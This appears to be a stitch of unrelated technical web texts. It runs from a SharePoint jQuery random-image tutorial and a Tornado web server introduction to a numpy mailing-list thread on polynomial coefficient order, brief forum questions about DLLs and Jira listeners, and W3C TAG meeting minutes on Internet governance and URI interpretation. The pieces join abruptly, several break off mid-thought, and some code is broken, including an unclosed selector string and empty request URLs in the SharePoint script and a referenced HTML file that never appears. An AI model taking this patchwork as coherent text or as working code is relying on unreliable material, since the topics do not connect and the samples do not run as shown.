To start out, I'll share a quick example of a random image script that I implemented for one of the sites. Part of the default Sharepoint template is a view of a Sharepoint Picture Library. The view shows the first picture from the library, and using the built-in Sharepoint tools I wasn't able to find a way to randomize it. I'm just focusing on the Sharepoint interaction here, and glossing over the rest of the script.
I wanted the script to be fully degradable so that users that don't have JavaScript enabled could still see the first picture from the library. I left the template how it was, and set about accessing the Picture Library info via the API.
First off, I found the GUIDs of the list I wanted to access, and the view of that list I wanted data from. To do this, I went into the "Documents and Lists" view on the Sharepoint site itself, clicked on the Picture Library, and then clicked on "Modify Settings and Columns". The URL then gives us the first piece of info we need, the GUID of the list:{A1234567-B123-C123-D123-A12345678901}
The GUID is the portion within the curly braces. In my JavaScript file, I added a local variable for the list so that I can build it for the
$.get query later.
var list = 'A1234567-B123-C123-D123-A12345678901';
Next I needed the view. This is a little trickier, because sharepoint escapes the special charactes from the GUID in the List Edit interface. Under the "Views" section in the "Modify Settings and Columns" page, I selected the view that I created that includes the fields I needed for the script. After selecting the view, the view GUID is displayed at the end of the URL:
View=%7BE9876543%2DF987%2D9876%2DB987%2DA98765432109%7D
I manually converted the escaped special characters back into their counterparts.
%7B = { %2D = - %7D = } View={E9876543-F987-9876-B987-A98765432109}
Then I added that to a local variable in my script.
var view = 'E9876543-F987-9876-B987-A98765432109';
Then I built my
$.get query and fired it off with an inline callback function.
var url = '' + 'List={' + list + '}&' + 'View={' + view + '}' var relative_url = new Array(); var title = new Array(); $.get(url, {}, function (xml) { $('xml > *:last > *', xml).each(function (i) { relative_url[i] = $(this).attr('ows_RequiredField'); title[i] = $(this).attr('ows_NameOrTitle'); }); var img = Math.round(Math.random()*(relative_url.length - 1)); var thumb_url = '' + relative_url[img].slice(0, relative_url[img].indexOf(title[img])) + '_t/' + title[img].slice(0, title[img].lastIndexOf('.')) + '_' + title[img].slice(title[img].lastIndexOf('.') + 1) + '.jpg' $('#my-element).attr('src', thumb_url); });
The DOM tree walk I mentioned earlier is done on this line:
$('xml > *:last > *', xml).each(function (i) {
My raw XML data looked something like this (with unnecessary portions minimized):
<xml> <s:Schema</s:Schema> <rs:data> <z:row <z:row
The DOM tree is walked by starting with the
xml tag, then selecting the last descendant, then selecting all the descendants under that. The script then reads the attributes into variables that are then used when a random image is selected to build a new URL for the photo element.
That's all for now. In my next post, I'll walk through a more complex example to dynamically calculate statistics from a Sharepoint survey. | http://konkle.us/2008117simple-sharepoint-api-usage-with-jquery-part-1/ | CC-MAIN-2017-17 | refinedweb | 798 | 72.26 |
Back to: ASP.NET MVC Tutorial For Beginners and Professionals
ChildActionOnly Attribute in MVC Application
In this article, I am going to discuss the ChildActionOnly Attribute in MVC Application. Please read our previous article before proceeding to this article where we discussed how to display custom error pages based on the status code in MVC.
Suppose you have a scenario where you have one action method and you don’t want that action method to be invoked via URL rather you want that action method to be invoked by other actions of your application. Then in such scenarios, ChildActionOnly Attribute can be handy.
What is ChildActionOnly Attribute in MVC?
When we decorate an action method with the ChildActionOnly attribute, then it is called as child action in ASP.NET MVC Application. Child action methods are only accessible by a child request. That means once an action method becomes a child action, then it will not respond to the URL requests. Let us understand this with an example.
Step1: Create an empty ASP.NET MVC 5 application
Step2: Add HomeController. Copy and paste the following code.
public class HomeController : Controller { // Public action method that can be invoked using a URL request public ActionResult Index() { return View(); } // This method is accessible only by a child request. A runtime // exception will be thrown if a URL request is made to this method [ChildActionOnly] public ActionResult Countries(List<String> countryData) { return View(countryData); } }
Step3: Right click on the “Countries()” action method and add the “Countries” view. This view will render the given list of countries as an unordered list.
@model List<string> @foreach (string country in Model) { <ul> <li> <b> @country </b> </li> </ul> }
Step4: Right click on the “Index()” action method and add the “Index” view. Copy and paste the following code in it. Notice that, here we are using the Action HTML helper method to invoke the childaction.
<h2>Countries List</h2> @Html.Action("Countries", new { countryData = new List<string>() { "US", "UK", "India" } })
Please Note: The Child actions can also be invoked using the “RenderAction()” HTML helper as shown below.
@{ Html.RenderAction("Countries", new { countryData = new List<string>() { "US", "UK", "India" } }); }
Points to remember while working with ChildActionOnly Attribute in MVC
- The child action methods will not be responded to incoming URL requests. If you try to invoke the child actions using URL, then you will get a runtime error saying – Child action is accessible only by a child request.
- You can only access the child action methods by making a child request from a view either by using the “Action()” or “RenderAction()” HTML helper methods.
- The most important point that you need to remember is, an action method doesn’t need to have the ChildActionOnly attribute to be used as a child action. You need to use this ChildActionOnly attribute only if you want to prevent the action method to be invoked using URL.
- Child action methods are different from the NonAction methods in MVC application. The difference is that the NonAction methods cannot be invoked as a child request either by using the Action() or RenderAction() HTML helpers.
- The main advantage of Child Action method is that you can cache portions of a view. We will discuss this in OutputCache Attribute article.
In the next article, I am going to discuss Outputcache Attribute in ASP.NET MVC application with different types of examples. Here, in this article, I try to explain ChildActionOnly Attribute in MVC application step by step with a simple example. | https://dotnettutorials.net/lesson/childactiononly-attribute-mvc/ | CC-MAIN-2020-05 | refinedweb | 583 | 63.09 |
Tornado Web Server is a Python web framework as well as asynchronous networking library. Asynchronous means scaling up multiple connection to save memory. It makes thousands of connection ideal for web sockets. Before proceeding further, let me talk about web sockets. These are defined as bidirectional communication between the client and server where connection is alive until terminated by the client. It helps in keeping simultaneous connection open at the same time.
Tornado is not based on WSGI?
Before pointing to the solution to this question, let me tell you what is WSGI. It is Web Server Gateway Interface. Considering Django as an application, it acts as interface between server and Django application. There are many servers which support WSGI such as flup, Gunicorn, James and mod_wsgi. I have just pointed out some of the example. List is large. WSGI is a synchronous interface while tornado concurrent model is based on single threaded asynchronous execution.
Tornado is a non blocking server. What is this?
There are two types of servers blocking and non-blocking. Let us go through the basics of these both. Blocking web servers can be treated as handling the queue at the post office. Key concept is that until work of one person is not completed it will not process request of next person in queue. It operate in synchronous mode whereas Non-Blocking web server works in asynchronous mode where processes are handled by a single thread. While processing a request, it takes multiple request. Once the previous request is handled it starts working on the next request without keeping any waiting time. All such is achieved by a concept called event loop. Tornado is a non blocking web server. Hope you understand it well.
Installation:
pip install tornado
Code Example:
Let me show you how to display the content on web using Tornado using classes such as RequestHandler and object such as Application to hit url.
import tornado.ioloop import tornado.web class Hello(tornado.web.RequestHandler): def get(self): self.write("Hello, world") application = tornado.web.Application([ (r"/", Hello),]) if __name__ == "__main__": application.listen(8888) print("Please listen to port no 8888") tornado.ioloop.IOLoop.current().start()
This is just a simple program and before let see the output of this program when you type on web browser 127.0.0.1:8888 you will get the following response
Some Elaboration of the above code:
We have created a class Hello and inside it another function get which will display “Hello, world” on web browser. We have used another object Application to hit the result at url provided there. So overall we need the content to get displayed and url where it will be displayed which is accomplished using RequestHandler class and Application Object.
Let us build some more example by integrating HTML with Tornado
I will use the html code and render it using Tornado. Please see below codes, one is python code and another is HTML Code
File1: Python file where we have rendered html file which I am showing in the next code
import tornado.ioloop import tornado.web class Hello(tornado.web.RequestHandler): def get(self): self.render("new.html") application = tornado.web.Application([ (r"/", Hello), ]) if __name__ == "__main__": application.listen(8888) print("Please listen to port no 8888") tornado.ioloop.IOLoop.current().start()
HTML File: new.html
Please refer to the below Screenshot to See the result when you hit 127.0.0.1:8888 on web
Conclusion:
Python has various web framework such as Django, Flask and Tornado. Choosing a web framework is all about requirement of the developer, client or end user. This post is all about the basics of tornado and guide for displaying the content on web browser using it. It is very easy to use and is quite helpful to create API like chat bot API can be created using it. To learn more about AI chat bot please visit these links. Moreover, you can visit our parent company to know more about AI Related products such as Real time Face recognition, AI chat bot, Text based Sentimental Analysis. Please visit (Parent company of Selfawarenesshub.org).
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I read this blog and eager to know what are the alternatives available with respect to tornado. Also if you can tell us what are the difference between each of them, it would be highly beneficial for me.
With regards
Aman
Very good question asked by you. I would like here to talk about Flask and Django. Please see below to know the difference between them.
Flask
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1.) It is a microframework which is suitable for building smaller applications.
2.) Simple, Flexible and Fine Grained control.
3.) Suitable to build small applications with static content such as blog.
Django
——
1.) Provides admin panel, database interface.
2.) For larger applications, Django is suitable.
3.) Complex sites with the dynamic content is provided by Django.
With regards
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> if a single program uses both np.polyval() and np.polynomail.Polynomial, it seems bound to cause unnecessary confusion. Yes, I would recommend definitely not doing that! > I still think it would make more sense for np.polyval() to use conventional indexing Unfortunately, it's too late for "making sense" to factor into the design. `polyval` is being used in the wild, so we're stuck with it behaving the way it does. At best, we can deprecate it and start telling people to move from `np.polyval` over to `np.polynomial.polynomial.polyval`. Perhaps we need to make this namespace less cumbersome in order for that to be a reasonable option. I also wonder if we want a more lightweight polynomial object without the extra domain and range information, which seem like they make `Polynomial` a more questionable drop-in replacement for `poly1d`. Eric On Sat, 30 Jun 2018 at 09:14 Maxwell Aifer <maifer at haverford.edu> wrote: > Thanks, that explains a lot! I didn't realize the reverse ordering > actually originated with matlab's polyval, but that makes sense given the > one-based indexing. I see why it is the way it is, but I still think it > would make more sense for np.polyval() to use conventional indexing (c[0] > * x^0 + c[1] * x^1 + c[2] * x^2). np.polyval() can be convenient when a > polynomial object is just not needed, but if a single program uses both > np.polyval() and np.polynomail.Polynomial, it seems bound to cause > unnecessary confusion. > > Max > > On Fri, Jun 29, 2018 at 11:23 PM, Eric Wieser <wieser.eric+numpy at gmail.com > > wrote: > >> Here's my take on this, but it may not be an accurate summary of the >> history. >> >> `np.poly<func>` is part of the original matlab-style API, built around >> `poly1d` objects. This isn't a great design, because they represent: >> >> p(x) = c[0] * x^2 + c[1] * x^1 + c[2] * x^0 >> >> For this reason, among others, the `np.polynomial` module was created, >> starting with a clean slate. The core of this is >> `np.polynomial.Polynomial`. There, everything uses the convention >> >> p(x) = c[0] * x^0 + c[1] * x^1 + c[2] * x^2 >> >> It sounds like we might need clearer docs explaining the difference, and >> pointing users to the more sensible `np.polynomial.Polynomial` >> >> Eric >> >> >> >> On Fri, 29 Jun 2018 at 20:10 Charles R Harris <charlesr.harris at gmail.com> >> wrote: >> >>> On Fri, Jun 29, 2018 at 8:21 PM, Maxwell Aifer <maifer at haverford.edu> >>> wrote: >>> >>>> Hi, >>>> I noticed some frustrating inconsistencies in the various ways to >>>> evaluate polynomials using numpy. Numpy has three ways of evaluating >>>> polynomials (that I know of) and each of them has a different syntax: >>>> >>>> - >>>> >>>> numpy.polynomial.polynomial.Polynomial >>>> <>: >>>> You define a polynomial by a list of coefficients *in order of >>>> increasing degree*, and then use the class’s call() function. >>>> - >>>> >>>> np.polyval >>>> <>: >>>> Evaluates a polynomial at a point. *First* argument is the >>>> polynomial, or list of coefficients *in order of decreasing degree*, >>>> and the *second* argument is the point to evaluate at. >>>> - >>>> >>>> np.polynomial.polynomial.polyval >>>> <>: >>>> Also evaluates a polynomial at a point, but has more support for >>>> vectorization. *First* argument is the point to evaluate at, and >>>> *second* argument the list of coefficients *in order of increasing >>>> degree*. >>>> >>>> Not only the order of arguments is changed between different methods, >>>> but the order of the coefficients is reversed as well, leading to puzzling >>>> bugs (in my experience). What could be the reason for this madness? As >>>> polyval is a shameless ripoff of Matlab’s function of the same name >>>> <> anyway, why >>>> not just use matlab’s syntax (polyval([c0, c1, c2...], x)) across the >>>> board? >>>> >>>> >>>> >>> The polynomial package, with its various basis, deals with series, and >>> especially with the truncated series approximations that are used in >>> numerical work. Series are universally written in increasing order of the >>> degree. The Polynomial class is efficient in a single variable, while the >>> numpy.polynomial.polynomial.polyval function is intended as a building >>> block and can also deal with multivariate polynomials or multidimensional >>> arrays of polynomials, or a mix. See the simple implementation of polyval3d >>> for an example. If you are just dealing with a single variable, use >>> Polynomial, which will also track scaling and offsets for numerical >>> stability and is generally much superior to the simple polyval function >>> from a numerical point of view. >>> >>> As to the ordering of the degrees, learning that the degree matches the >>> index is pretty easy and is a more natural fit for the implementation code, >>> especially as the number of variables increases. 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I was created a dynamic library (Used win32 App) & compiled with no error.
Then i was created my main application (MFC) & paste the .h,.lib,.dll files from the source path(dll App Path) to destination path(Main App Path).
If i used the below command in my app means the project working good.
& also paste the VTAlg.dll in my app path.& also paste the VTAlg.dll in my app path.Code:
#include "Alg.h"
#Progma Command(lib, "VTAlg.lib")
here Alg.h contains the some methods , In future i will edit the function like below for my client requirement but no function name & Arguments change. The changes made in inside function(Logically changed) only.
My client contains only .exe file + .dll file.
My requirement,
So after change the method i will send only .dll file to my client
If i change my lib file name VTAlg2.lib instead of VTAlg1.lib (But Same Function name & Arg type)means how can i edit the code below
& How to run my application at client place.& How to run my application at client place.Code:
#include "Alg.h"
#Progma Command(lib, "VTAlg.lib")
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QGList has some virtual functions that can be reimplemented to customize the subclasses.
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I need to capture - and fire listener if:
1. Issue created and field set to "ERP"
2. Issue changes and field set to "ERP"
Code:
import com.atlassian.jira.event.issue.IssueEvent;
long EventId=event.getEventTypeId;
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Hello,
It is not a property, it is a method that is why you should call it like this
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with parenthis
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Thanx. mate - appriciated !!
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<trackbot> Date: 08 October 2012
LM: There are 2 dated links
<Larry>
<Larry>
LM: The earlier version was based on work I had done with some other folks. Publishing and Linking was framed as an example of how regulation interacts with architecture, but set out the bigger picture.
... I got feedback that the section on governance areas said either too little or too much. It wasn't long enough to really define "Privacy" and "Copyright", but said enough to get into trouble. So I cut them them way down, so now it's a short document. The intro is similar to the P&L document (borrowed from here to there). We added an Audience section. Why are we doing this? We hope that technical understanding can help legislators make better laws. Details are now just a bulleted list
... Section 4.2 talks about where policies and technology interacts.
NM: 2 questions. What is the success criteria? Is it almost complete or just a table of contents of items that need to be fleshed out?
LM: Final document should not be more than 50% larger
... The goal is to encourage W3C to take up other areas where there is conflict between technology and policy.
... There is ongoing discussion about ITU and other bodies re. Internet governance ... connectivity, net neutrality, etc.
... But the governance issues are lot broader e.g. cyberbullying.
<ht> Wrt conflict between regulations, compare the two things linked from the following page:
Ashok: Use of Social Media to mobilize opinion
NM: It would be good if the introduction answerred my questions
<noah> NM: Two questions: 1) what are the success criteria for the document? 2) is it 75% complete as it stands, or is this going to include comprehensive discussion in each area?
JeniT: This would be a good subject to have this as a page in the TAG space that we could link future work from.
LM: 1) get people thinking about the issues 2) it's maybe 75% of the size I'd expect -- it's an intro to get people thinking.
... Not sure if this work completely fits in with what the TAG does.
<noah> NM: I think the document needs to more explicitly state its goals
LM: it's a good way to broaden the discussion started by the P&L document
<noah> LM: OK, good point. Make sure it's in the minutes.
<noah> NM: Done
<Larry> not sure it fits entirely within the TAG's remit
HT: Would be good to have Daniel Dardellier come talk to us about govenance
<Larry> the word "governance" is used here with a much broader meaning than is typical in the current Internet community discussions
HT: his perspective would be useful
<ht> ITU holding 1st ever "World Conference on International Telecommunications" (WCIT):
<ht> December, 2012
LM: We could go thru the doc section by section
NM: I not convinced whether a document that just whets your appetite is a good idea.
... I'm willing to think about this
<Larry> missing acknowledgement
LM: I responded to comments by contracting section 4
<ht>
HT: I put a link to the ITU meeting in Dubai ... the above is their base document
LM: I have not addressed comment on use of word "Governance" . We are talking about a much broader set of issues
... I happy with the intro ... it has been carefully reviewed
Section 2 spells out the goals of the document
Section 3 talks abput Governance requirements constrain Architecture ... some examples would help here
NM: Section 4 is too brief
JeniT: Can we add pointers to other sources here?
NM: Need more detail in Section 4
Ashok: I want to see examples of where policy influences architecture and vice versa
LM: Started to think about jurisdictional differences in policy ... how does that influence international businesses
... e.g. authentication, what material is illegal etc.
... when we move into a position where your action on a device can have global effects
<ht> Wrt ITU again, and their proposed Regulation:, see e.g. the first item on Page 29, which explicitly puts Internet traffic within their scope
LM: We need guidelines for legal dept and project managers ... responibilities are distributed
NM: It's a valuable area but what are we contributing
LM: When i showed it to people I got feedback that it was useful and we should keep working on it
... Needed to be complete ... missing, for example, security.
Tim: There has been pushback from folks saying TAG does not do Policy
LM: This is a bridge between the technologists and the policy folks
NM: Maybe a different title
LM: In 4.2 we talk about other documents like the P&L we may want to work on
Tim: What about fairness, growth
... these are things governments worry about
... What are technical properties that enable fairness
LM: Something about no monopolies, open markets
... antitrust issues
NM: The P&L document is really about explaining technology for policy makers
LM: This is the inroductory framework and P&L is first volume
NM: What are the other pillars that sit next to P&L
LM: We could publish as a note and presenting it to the AC
NM: Should we do this with the AB?
Tim: Lot of interesting work on the bulleted points ... these need to be mentioned.
HT: We should focus on section 3. That's our business
Tim: I see the world as being a set of protocols and each protocol is a mixture of technical and social
... linking to stuff involves a social aspects
... breaks when people link on how to make a bomb. So we need constraints both social and technical.
... Historically geeks and lawyers have danced around each other ...
... not formed by pieces coming together
NM: The Web and facebook have both technical and social aspects
... We need to fill the gaps between technology and society
<Larry> see (The Interpenetration of Technical and Legal Decision-making for the Internet")
Tim: Re. email the original thinking was that this was a research network and should be used only for research
... when the use policy was relaxed it turned out that some issues such as spam were not addressed.
LM: People seem to be uncertain as to where to go with this
AM: Can we mention the relevant technical issues under each bullet in section 4
NM: We need success criteria to decide whether to go forward with this document
<Larry> What would have to happen to this document before you would be happy to see the TAG work on it?
Tim: Your list here is sort of like the IETF saying you need a Security Considerations section in each RFC
... with P&L we had clear example of misunderstandings re. Linking and Embedding
NM: Do you have what you need to move ahead?
LM: I'd like a poll on whether we should go forward with this document.
HT: I'm very concerned about redoing work that has been done elsewhere at greater length
... s/is/in/
... section 3 in scope and should be grounded in existing policy studies, start with discussion with Danny Wietzner
PL: It's an interesting document ... agree with Henry ... maybe the W3C should concerned with this rather than the TAG
YL: The TAG should stick to technical matters
... works on how architecture of Web impacts policy and how policy impacts Web Architecture
JeniT: Section 3 really useful ... good summary of areas of concern
... explain technical concepts to policy makers
... need links to existing work
Tim: Prefer a view where the system is designed holistically. Privacy is a property of some systems ... provides invariants on which other systems depend
... Similarly, copyright, accessibily are properties of this system
... As a list of things to watch out for is reasonable
... I would not like future architecture to be done piecemeal
... useful as a checklist
... I'm worrying about doing architecture from this matrix ... for example accessibility be added on because some govt. wants it
... What the document is trying to say is not very well defined.
<timbl> Askok: What I would do is take the bullets and talk about tech areas which influence them.
<noah> AM: I have mentioned: I would take the bullets, and speak of technical areas that impact security, copyright, etc.
<timbl> ... and then find where others have talked bout these things.
<noah> AM: Difficult part is to find what others have already done
<timbl> ... As a very practical thing to go forward with this.
NM: I've expressed some concerns about the goals. Not sure we need a document that does not stand on it's own
... this is like an intro to other work we need to do
... I'm reserving judgement ... perhaps you could add some technical depth
LM: I have got some useful feedback ... need to think about how to go further ... perhaps a blog post.
NM: Not saying "we don't want to see this ever again"
LM: I will work further on the document.
Break for 20 minutes
HT: Background
... This is a starting point for the perspective Jeni, Jonathan and I have taken
... it is a 20,000 foot level set
... if you think its wrong we need to worry
... Distributed extensibility begets incompatible extensions
... this is by design
... XML does not control the tags used. You can design the meaning of the tags you use
... XML has a mitigation i.e namespaces
LM: I need more context
HT: This is in aid to improving the situation re. HTTP Range-14 resolution
... We are building towards a proposal
... we have 3 documents, this document, the primer and a detailed proposal
... Rec track for primer and technical document
<Larry> "underspecification" is a value judgment, not specified as much as expected
HT: Sometimes, like in the case of RDF, extensions are incompatible ... usually this is not a problem
... problems arise when incompatible extensions are expected to interoperate
<Larry> disagree with 'require' in "Interoperability requires keeping track of which extension is intended." -- keeping track is one way, there are other ways
HT: Obvious way is to keep track of which use is expected
<Larry> yes, it is "one obvious way"
HT: Otherwise you will get incorrect conclusions
... Many ways to keep track of which extension is intended
... Proposal is to make distinctions via the immediate context
... we cannot get agreement on what the URIs mean ... but we can get agreement on what sentences using URIs mean
... We will put the burden of identification on the meaning of properties
LM: Who has to agree on the meaning?
JeniT: The crucial thing is where the URI is used ... is it referring to the content or description of the content
... we are concerned whether an app using the URI does the right thing
<Larry> the core goal of "my statements mean what i think they mean" can't be accomplished with a universal understanding, "Everyone who can hear my sentence will think the sentence means the same thing"
<jar> there is no way to control what someone else understands in any situation
<jar> saying that agreeing on meaning of sentences instead of words is not an improvement, is a straw man
<jar> what another agent thinks something means is unmeasurable, undetectable, a private matter, not in the scope of any spec
<jar> specs only govern tests of conformance. whether an agent conforms to a given spec.
<jar> so, masinter, "my statements mean what i think they mean" cannot be a goal
<jar> at least not in a spec
<jar> sorry for the irc-only comments, i wanted to get them written down, don't let them interrupt conversation. i couldn't get in on voice.
<jar> will try to restrain myself
JeniT: The aim of this paper is why there is confusion, mostly they don't need to care about it and when they do what they should do about it
... not specific to RDF
... addresses people who are writing data and what they should care about
Jeni goes thru the document:
JeniT: Section 3 introduces Landing Pages which are pages about something else
... they don't have to HTML. Maybe JSON or XML or RDF that describes what is it that they are talking about
... sometimes the properties get mixed up ... they could apply to the page or the content
... If the data is about a person then it's clear what the properties refer to
<jar> timbl: e.g. phone number and assistant's phone number
Section 4 describes Data Normalization
Section 5 says not always possible to normalize
HT: People don't always normalize
<Larry>
<Larry> based on
<ht_home> TBL commenting on the 'implied properties' diagram
JeniT: 5.2 talks about when a Landing Page describes more than one thing
... 5.3 talks about why these distinctions are particularly important
... 5.4 is about how you find the documentation
... 6 is about recommendations about data producers and data consumers
... say what appliactions can do with URIs ... when they dereference what they can expect
<jar> something about appending to get URIs in various doc formats, XML, turtle, etc.
((Discussion of namespace URIs))
NM: namespace names can have a fragment in the name
HT: Using a string which is a relative URI is deprecated
JeniT: 6.1.1 talks a metaformats such as RDF and says they should document how the the URIs are interpreted
<jar> don't talk about identification please. identification is not testable
<jar> reference is not testable. please don't use the word
<jar> 'identification' and 'reference' have no place in normative language
<jar> similarly 'meaning'
<jar> as soon as these words are uttered, people start arguing.
NM: Henry said URI refers only to one thing but sometimes it refers to other things
<jar> just stop please.
NM: we shall discuss in detail in the main proposal document
<jar> please let's not get into REST
<jar> please let's just talk about JSON
HT: Please wait till we get to Proposal 27
<jar> please let's get consensus on JSON first. then we can figure out what to do about REST, identification, reference, REST, meaning, etc etc.
NM: Need to be rigorous about terminology
<jar> there is NO WAY TO BE RIGOROUS ABOUT IDENTIFICATION
<jar> Just don't talk about!
<jar> I am not going to speak up. I am on the queue. I want Jeni to finish
<ht_home> JAR is channeling Wittenstein
<timbl> Nothing, jar, is testable
<jar> timbl, I disagree with that.
<noah> No, I'm saying we can tell stories at different levels, and not use terminology that's unnecessarily ambiguous. I think I'd like to see a bit of terminology used consistently for just the REST bit of this: time varying sequence of representations, etc. We can on top of that have a set of terminology for the proposal 27 story (when used in the property (indirectly) identifies)
JeniT: 6.2 talks what conclusions you can draw if you are a consumer of the data
<jar> timbl, that is the same as saying there is no truth.
<Larry> everything is testable, it's just that most tests give inconclusive results
JeniT: 6.3 talks about Publishing data
<noah> btw: the JSON case IS a rest case. The JSON itself, and the typical URIs it references, are typically retrieved with GET
JeniT: section 6 needs more work
<ht_home> Noah, REST is not an agreed vocabulary, we don't want to depend on assuming it is
<jar> lm: asking about link relations
LM: What about Link Relations, what about XMP?
<jar> XMP (or the doc formats that use it) is underspecified because it doesn't answer this question.
<jar> yes
LM: Link Relations would be another usecase to discuss
<Zakim> jar, you wanted to In JSON, this has to do with the relation between the property value and the @id value? Or is @id just another property.
jar: The approach in this document is good ... it avoids trigger words that would cause us to rathole
... can we get consensus on the advice and then test against various usecases ... start with JSON
... RDF is complicated because it has entailment
... RDF would be the final test
<Larry> XMP uses rdf:about=""
<jar> So, talk about XMP first, put off RDF in general.
HT: We should not import terminology from REST. REST is not well specified and it would cause confusion
<jar> Let's go bottom up.
<jar> what you're saying doesn't even have agreed meaning
<Larry> just testing the document about other things I think about, it looks ok
NM: To me this implies that what a URI implies is where it is used
<jar> you're not even making a point
<jar> stop being deep
<jar> we're ONLY talking about how to write specs please
NM: REST gives same answer where the URI is used. I'm reluctant to lose that
JAR: Don't go there
NM: I think this is an important point
JAR: Identification does not occur in the document
<JeniT> /me jar, you're breaking up a little
<jar> If the document talks about 'identification' or a function from URIs to things that would be an error in the document
Tim: We are talking about something over which there has been a great deal of debate and people have been burnt
<jar> context is always important
<jar> as Larry keeps saying. I agree totally
Tim: They are saying it depends only on the property
NM: I want a function from a URI to something that is completely context independent
... losing that is very deep
<jar> that's impossible, Noah
<jar> and irrelevant
HT: We tried to do that and we failed ... others have tried and failed
JAR: People havee been trying to do that for 120 years and failed
HT: We set out to solve a smaller problem
<jar> webarch is wrong.
<jar> and not the subject of this exercise
HT: There are different constituencies that recognize the words differently
NM: I would like to see if we can reconcile with WebArch
<jar> "URIs identify" is patently false. Could be true (enough) in some cases. Empirically false for http: URIs
<JeniT> timbl: I want to use an analogy between classical and quantum mechanics
Tim: It's like classical mechanics and Quantum Mechanics
<jar> My procedural advice, to put off the hard questions until the easier ones are answered, is being totally ignored
<ht_home> TimBL channeling Pat Hayes !
<jar> we should all channel Pat Hayes
Tim: Pl. wait until they get to the end of the document
<JeniT> <lunch>
<ht_home> Break for lunch
Lunch break till 1:20
<JeniT> discussing
ht: this is an attempt to work out detailed RDF semantics for parallel properties
... the proposal is algebraic and succinct
... this is the hardest part of the problem ...
... begining with a simple case initially
<jar> is everyone on board with this presentation or are some people going to tune out?
<jar> little point in going through this if someone is going to disagree with premises at the end
ht: going to focus on disambiguation between landing page and the work
... This is the crucial problem.
<noah> From the proposal:
<noah> "Claim: We'll never agree on what the disputed URIs (the GET/200 ones) identify. "
<jar> context is still important for sentences, larry. I ack that
ht: we're just going to focus on what the sentences (triples) mean, without having to agree on the story
<jar> right
<noah> Just to record here what I said this morning: I want eventually >NOT< now, to make sure that we don't go too far in throwing out the fundamentally good advice in Web arch about use of URIs to (excuse the loaded term, but it's what Web Arch uses), "Identify" things.
ht: the way we're going to do this is to explore three distinct communities of practice, with respect to use of URIs as the subjects of RDF triples.
<noah> I don't think that means throwing out or even much changing proposal 27. I do think it means recommitting to a lot of the spirit of the good advice in Web arch, and about URIs (as, ahem, identifiers) remaining one of the three pillars of Web architecture
ht: now looking at the example scenario
<jar> larry, thanks for scribing. my task (later) is to convince you that i'm in complete agreement with you on everything you've said so far
HT: ((explains Interpretation 1, Interpretation 2, "Neutral" Interpretation))
... OMF (Our Mutual Friend) might be an 'information resource' or maybe not, doesn't matter
<jar> the "landing page" could be either the rep or the resource.. doesn't matter. move along.
<jar> red herring
ht: but LP can be thought of, in REST turns, as a resource
... two functions, 'ptopic' and 'lp'
<noah> should say lp maps from thing described (possibly a person) to landing page
noah: if the LP was about a person, then OMF would be a person, and ptopic is a function from document to a person
((agreement))
<jar> P maps what's identified to its author.
noah: "URI interpreted as" confuses me
<jar> what 'P' identifies maps something (e.g. something that's identified by another URI) to its author
ht: P is a URI that is uncontested as a property for indicating authorship
noah/timbl: "interpreted" is a term of art? ((discussion))
ashok: Are 'has creator' and 'created by' special, or could i use other words?
ht: any property that is ambiguous would work as part of the setup
((discussion of why moving from Moby Dick to Dickens))
ht: given all of this, can we define properties where members of all three camps can say "landing page by Tomlinson, book by Dickens"
... ((reviewing chart))
... U vs. Interpretation 1, 2, 3; P is creator property
... Now we get to the magic
... "we need a Q, such that U Q T means LP is by Tomlinson, and an R, such that U R D means OMF is by Dickens ... working backwards, Q and R are different functions for Interpretation 1, 2, and 3
<jar> yes
noah: ((question about domain of Q and R))
<jar> noah is correct, the might have disagreements over truth of sentences involving domains and ranges (if they don't pull this trick again when they talk about domains and ranges)
ht: we have a URI, we do a GET, we get a page whose author ...
tbl: Q and R are different URIs; the future of data on the web relies on those two not getting overlap
<jar> I would say, the future of RDF interoperability, in the absence of agreement on "identification" (which has not been forthcoming)
<jar> not "the future of data on the web" since we have seen that the JSON case doesn't rely on "identification"
<jar> if the web depended on "identification" the present would be in awful shape
ht: ((reviewing diagrams))
ht: we need the TAG to define two predicates, M and N, which relate properties that apply respectively to landing pages and things denoted by landing pages to undisputed properties, then I document Q bearing the M relation to P and R bearing the N relation to P.
noah: are you looking for people to understand today, or to just agree if this is the right direction?
noah: which is it?
jar: depends on what you mean by 'evaluate'
ht: Jar, do we have a name for URIs whose interpretation varies by community
jar: no.
... not really needed in RDF semantics
ht: this then leads to a processing model
noah: P is "dc:creator"
jar: "you might use them with hash URIs, but we decided to defer that"
ht: in this paper "disputed URI" is a hashless retrieval-enabled URI, for which a GET returns 200
tbl: ... Q and R don't have to be hashless
<jar> you can think of M and N as cancellation operators. they cancel out the disagreements
tbl: when you define Q
ht: anyone who wants to publish interoperable properties will define them this way
... M and N are fixed URIs, they serve the documentation requirement
... it's M and N that allow interoperability by appearing in definitions
tbl: do you mean inverse?
noah: they take care of the fact that some communities do indirection one place and not the other
tbl: you're saying P is undisputed?
<jar> we're positing that.
ht: dc:creator means the author of an authorable thing is ...
tbl: they didn't say whether it should be like U or like Q
ht: if you don't do this, you have to assume they were caught in an infinite regress
Jeni: it would be better if you didn't use dc:creator
ht: p never indirects, it's always direct
... creator is always direct
noah: dc:creator are ok in this example
ht: it's crucial when we get to the tabulator, which is what any application needs to do, when you find any property declared by M to map to some direct property, you should assume there's a real landing page out there, and in the wild what you're going to find is Q
noah: users have to say Q
<jar> dc:creator might be used with hash URIs. no problem with that
ht: users only have to say Q if they are making
assertions about disputed URIs.
... That's why we're not done yet
... We would like it to be the case people can use Q and R with URIs that return 303 ...
noah: they can't use dc:creator
tbl: in the schema.org world
noah: that's what i guess and i was mixing it with branding.
... dc:creator is what people expect to use; asking that they learn another property may be an impediment to adoption
jar: we tried to get consensus on that and failed ((the idea that hashless http: URIs refer to the documents whose 'representations' you 'get'))
noah: think about it ... we have for 10 years
noah: in the future people will invent Q's and R's
tbl: dc:creator was used since [a long time ago]
<jar> it's been used without transparency - without any spec for what it means
<jar> it's only a problem when you use dc:creator with a subject written as a disputed URI. all other cases (#, 303) are fine
tbl: Facebook created OGP ontology, and started to stick something in their metadata and schema.org did something
tbl: ... we can keep going. if people get into namespaces, then instead of kicking
... dc:creator applies to the page. if you want to introduce something about the subject of the thing the page is about, then that would remove the syntax
<jar> timbl is considering other parts of the context where the distinction could be drawn?
noah: their story gets better over time, in principle
ht: If i'm building an ontology in a greenfield, there
are two possible authoring approached, per Interp 1 and 2
... I write some RDF about what i care about, say, Italian opera
... i'm going to define a vocabulary that I will use to identify the composer and singers I know
